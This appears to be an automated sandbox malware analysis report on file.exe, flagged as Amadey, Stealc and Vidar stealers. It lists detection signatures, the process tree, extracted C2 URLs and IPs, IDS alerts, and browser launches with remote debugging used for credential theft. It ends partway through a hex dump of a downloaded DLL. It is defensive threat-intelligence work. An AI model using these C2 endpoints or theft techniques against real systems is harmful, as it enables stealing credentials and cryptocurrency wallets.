Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1554003
MD5:	00a808a58290c0723fef814dfdefc856
SHA1:	e8b0d4be645e7b948042afddb047850a55a6f405
SHA256:	f90550486074a72ad34299b52e89c46900fd1d3c7431db90b65dcb8d2cd6abf4
Tags:	exeuser-Bitsight
Infos:

Detection

Amadey, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Machine Learning detection for sample

Monitors registry run keys for changes

PE file contains section with special chars

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected non-DNS traffic on DNS port

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Stores files to the Windows start menu directory

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6196 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 00A808A58290C0723FEF814DFDEFC856)

chrome.exe (PID: 5032 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6656 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2248 --field-trial-handle=2136,i,12775639409144419553,11993991066039672041,262144 /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

msedge.exe (PID: 8172 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7900 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2380 --field-trial-handle=2240,i,7192631829384180854,10696300089075255857,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

cmd.exe (PID: 8964 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsJJJJKEHCAK.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 9064 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsJJJJKEHCAK.exe (PID: 4120 cmdline: "C:\Users\user\DocumentsJJJJKEHCAK.exe" MD5: 8DB5B5875102EBB49A41696B0EF8F4FF)

skotes.exe (PID: 8776 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 8DB5B5875102EBB49A41696B0EF8F4FF)

msedge.exe (PID: 8072 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7456 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2192 --field-trial-handle=2124,i,14936426650964457149,4494918170705604154,262144 /prefetch:3 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8620 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=4440 --field-trial-handle=2124,i,14936426650964457149,4494918170705604154,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 8648 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7404 --field-trial-handle=2124,i,14936426650964457149,4494918170705604154,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

msedge.exe (PID: 7752 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7404 --field-trial-handle=2124,i,14936426650964457149,4494918170705604154,262144 /prefetch:8 MD5: 69222B8101B0601CC6663F8381E7E00F)

skotes.exe (PID: 3172 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 8DB5B5875102EBB49A41696B0EF8F4FF)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000014.00000002.2480719051.0000000000011000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000016.00000002.2506150345.0000000000521000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2398221193.000000000198E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000015.00000002.2477091060.0000000000521000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.2396751118.0000000000DB1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.2055599639.00000000053F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6196	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6196	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6196	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6196	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 5 entries

Unpacked PEs

Source	Rule	Description	Author
20.2.DocumentsJJJJKEHCAK.exe.10000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.skotes.exe.520000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
21.2.skotes.exe.520000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6196, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 5032, ProcessName: chrome.exe

Suricata Signatures

ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T21:59:20.361555+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.5	58699	TCP
2024-11-11T21:59:59.586929+0100	2022930	1	A Network Trojan was detected	20.109.210.53	443	192.168.2.5	59058	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T21:59:00.632796+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T21:59:00.625733+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T21:59:00.830763+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T21:59:01.782825+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T21:59:00.837690+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.5	49704	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T21:59:00.422043+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.5	49704	185.215.113.206	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-11T21:59:02.360741+0100	2803304	3	Unknown Traffic	192.168.2.5	49704	185.215.113.206	80	TCP
2024-11-11T21:59:21.023614+0100	2803304	3	Unknown Traffic	192.168.2.5	58697	185.215.113.206	80	TCP
2024-11-11T21:59:22.030426+0100	2803304	3	Unknown Traffic	192.168.2.5	58697	185.215.113.206	80	TCP
2024-11-11T21:59:22.487014+0100	2803304	3	Unknown Traffic	192.168.2.5	58697	185.215.113.206	80	TCP
2024-11-11T21:59:22.936219+0100	2803304	3	Unknown Traffic	192.168.2.5	58697	185.215.113.206	80	TCP
2024-11-11T21:59:23.555038+0100	2803304	3	Unknown Traffic	192.168.2.5	58697	185.215.113.206	80	TCP
2024-11-11T21:59:23.842299+0100	2803304	3	Unknown Traffic	192.168.2.5	58697	185.215.113.206	80	TCP
2024-11-11T21:59:29.076789+0100	2803304	3	Unknown Traffic	192.168.2.5	58846	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.php003	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpX0	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/softokn3.dlln	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php7	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dll_	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll)	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dlli	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000014.00000002.2480719051.0000000000011000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.6196.0.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 36%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C666C80 CryptQueryObject,CryptMsgGetParam,moz_xmalloc,memset,CryptMsgGetParam,CertFindCertificateInStore,free,CertGetNameStringW,moz_xmalloc,memset,CertGetNameStringW,CertFreeCertificateContext,CryptMsgClose,CertCloseStore,CreateFileW,moz_xmalloc,memset,memset,CryptQueryObject,free,CloseHandle,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,__Init_thread_footer,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,moz_xmalloc,memset,GetLastError,moz_xmalloc,memset,CryptBinaryToStringW,_wcsupr_s,free,GetLastError,memset,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerSetConditionMask,VerifyVersionInfoW,__Init_thread_footer,__Init_thread_footer,	0_2_6C666C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BA9A0 PK11SDR_Decrypt,PORT_NewArena_Util,SEC_QuickDERDecodeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_GetInternalKeySlot,PK11_Authenticate,PORT_FreeArena_Util,PK11_ListFixedKeysInSlot,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PK11_FreeSymKey,PORT_FreeArena_Util,PK11_FreeSymKey,SECITEM_ZfreeItem_Util,	0_2_6C7BA9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B4440 PK11_PrivDecrypt,	0_2_6C7B4440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C784420 SECKEY_DestroyEncryptedPrivateKeyInfo,memset,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,SECITEM_ZfreeItem_Util,free,	0_2_6C784420
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7B44C0 PK11_PubEncrypt,	0_2_6C7B44C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C8025B0 PK11_Encrypt,memcpy,PR_SetError,PK11_Encrypt,	0_2_6C8025B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C798670 PK11_ExportEncryptedPrivKeyInfo,	0_2_6C798670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7BA650 PK11SDR_Encrypt,PORT_NewArena_Util,PK11_GetInternalKeySlot,PK11_Authenticate,SECITEM_ZfreeItem_Util,TlsGetValue,EnterCriticalSection,PR_Unlock,PK11_CreateContextBySymKey,PK11_GetBlockSize,PORT_Alloc_Util,memcpy,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,SECITEM_ZfreeItem_Util,PK11_FreeSymKey,PORT_ArenaAlloc_Util,PK11_CipherOp,SEC_ASN1EncodeItem_Util,SECITEM_ZfreeItem_Util,PORT_FreeArena_Util,PK11_DestroyContext,	0_2_6C7BA650
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C79E6E0 PK11_AEADOp,TlsGetValue,EnterCriticalSection,PORT_Alloc_Util,PK11_Encrypt,PORT_Alloc_Util,memcpy,memcpy,PR_SetError,PR_SetError,PR_Unlock,PR_SetError,PR_Unlock,PK11_Decrypt,PR_GetCurrentThread,PK11_Decrypt,PK11_Encrypt,memcpy,memcpy,PR_SetError,free,	0_2_6C79E6E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7DA730 SEC_PKCS12AddCertAndKey,PORT_ArenaMark_Util,PORT_ArenaMark_Util,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,PR_SetError,PR_SetError,PK11_GetInternalKeySlot,PK11_FindKeyByAnyCert,SECKEY_DestroyPrivateKey,PORT_ArenaAlloc_Util,SECKEY_DestroyEncryptedPrivateKeyInfo,strlen,PR_SetError,PORT_FreeArena_Util,PORT_FreeArena_Util,PORT_ArenaAlloc_Util,PR_SetError,	0_2_6C7DA730
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C7E0180 SECMIME_DecryptionAllowed,SECOID_GetAlgorithmTag_Util,	0_2_6C7E0180

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 184.28.90.27:443 -> 192.168.2.5:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:58664 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:58699 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.5:58698 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 40.126.32.138:443 -> 192.168.2.5:58735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.107.246.45:443 -> 192.168.2.5:58928 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 20.109.210.53:443 -> 192.168.2.5:59058 version: TLS 1.2

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.2431219904.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.2431219904.000000006C88F000.00000002.00000001.01000000.00000009.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.2430537825.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49704
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49704 -> 185.215.113.206:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://185.215.113.206/c4becf79229cb002.php
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	TCP traffic: 192.168.2.5:61574 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.5:58662 -> 1.1.1.1:53

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 11 Nov 2024 20:59:02 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 